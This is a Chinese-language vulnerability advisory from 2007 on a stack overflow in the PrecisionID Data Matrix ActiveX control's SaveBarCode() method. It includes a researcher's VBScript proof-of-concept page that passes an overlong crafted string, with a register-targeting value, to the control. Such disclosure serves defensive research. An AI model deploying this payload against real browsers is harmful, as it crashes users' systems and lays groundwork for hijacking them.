PrecisionID Data Matrix ActiveX控件远程栈溢出漏洞
发布日期:2007-05-13
更新日期:2007-05-15
受影响系统:PrecisionID Data Matrix ActiveX 1.3.0.0
描述:
BUGTRAQ ID:
23957
PrecisionID Data Matrix是用于生成二维条码的工具。
PrecisionID.Datamatrix.1 ActiveX控件(PrecisionID_DataMatrix.dll)在处理SaveBarCode()方式时存在栈溢出漏洞,远程攻击者可能利用此漏洞导致浏览器崩溃。
如果用户受骗访问了恶意站点并向其传送了超长参数,就可能触发这个溢出,导致拒绝服务。
<*来源:shinnai (
shinnai@autistici.org)
链接:
http://secunia.com/advisories/25258/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/12</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------
<b>PrecisionID Barcode ActiveX (PrecisionID_DataMatrix.DLL) 1.3 Denail of Service</b>
url:
http://www.precisionid.com/
author: shinnai
mail: shinnai[at]autistici[dot]org
site:
http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to these exploits.
--------------------------------------------------------------------------------
<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe
buff=String(304,"B")
get_eax = unescape("%D1%60%61%61")
buff2 = String(709,"C")
egg = buff + get_eax + buff2
test.SaveBarCode egg
End Sub
</script>
</span></span>
</code></pre>
建议:
厂商补丁:
PrecisionID
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.precisionid.com/浏览次数:2673
严重程度:0(网友投票)